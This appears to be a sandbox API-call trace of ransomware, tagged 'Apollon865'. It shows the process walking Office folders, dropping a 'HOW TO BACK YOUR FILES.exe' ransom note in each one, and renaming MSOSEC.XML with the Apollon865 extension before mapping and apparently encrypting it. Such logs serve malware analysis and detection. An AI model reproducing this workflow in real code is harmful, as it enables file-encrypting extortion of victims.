	[0071.525] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts"
	[0071.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0071.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0071.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned 57
	[0071.525] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts"
	[0071.525] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.525] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.531] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42b5f450, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42b5f450, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.531] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.531] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.531] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033"
	[0071.531] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0071.531] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0071.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033") returned 62
	[0071.531] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033"
	[0071.532] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.532] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.536] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42b5f450, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42b5f450, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.536] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.536] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.536] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14"
	[0071.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0071.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0071.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14") returned 65
	[0071.536] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14"
	[0071.536] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.536] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.540] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42b5f450, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42b5f450, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.540] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.540] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.540] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT"
	[0071.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599fd0 | out: hHeap=0x580000) returned 1
	[0071.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0071.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned 50
	[0071.541] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT"
	[0071.541] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.541] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.625] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x42c43c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42c43c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.625] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.625] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.626] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033"
	[0071.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0071.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0071.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned 55
	[0071.626] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033"
	[0071.626] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.626] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.632] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42c43c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42c43c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.632] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.632] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.632] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS"
	[0071.633] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0071.633] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0071.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned 50
	[0071.633] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS"
	[0071.633] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.633] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.638] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42c43c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42c43c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.638] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.638] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.639] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography"
	[0071.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0071.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0071.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned 55
	[0071.639] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography"
	[0071.639] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.639] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.645] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42c69df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42c69df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.645] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.645] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.645] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style"
	[0071.645] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0071.645] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0071.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned 61
	[0071.645] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style"
	[0071.645] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.645] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.651] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42c69df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42c69df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.651] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.651] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.651] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort"
	[0071.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0071.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0071.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned 60
	[0071.652] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort"
	[0071.652] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.652] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.658] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42c8ff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42c8ff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.658] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.658] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.658] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS"
	[0071.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5b98 | out: hHeap=0x580000) returned 1
	[0071.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0071.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned 49
	[0071.658] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS"
	[0071.658] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.658] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.664] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x42c8ff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42c8ff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.664] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.664] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.665] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.Apollon865") returned 71
	[0071.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml.apollon865"), dwFlags=0x1) returned 1
	[0071.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0071.666] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=179) returned 1
	[0071.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0071.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0071.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0071.667] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0071.667] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0071.667] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0071.668] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c0, lpName=0x0) returned 0x100
	[0071.682] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c0) returned 0x100000
	[0071.683] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0071.684] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0071.684] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0071.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0071.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0071.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0071.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0071.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0071.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0071.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0071.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0071.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0071.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0071.685] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0071.685] CloseHandle (hObject=0x100) returned 1
	[0071.685] CloseHandle (hObject=0x150) returned 1
	[0071.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0071.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0071.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
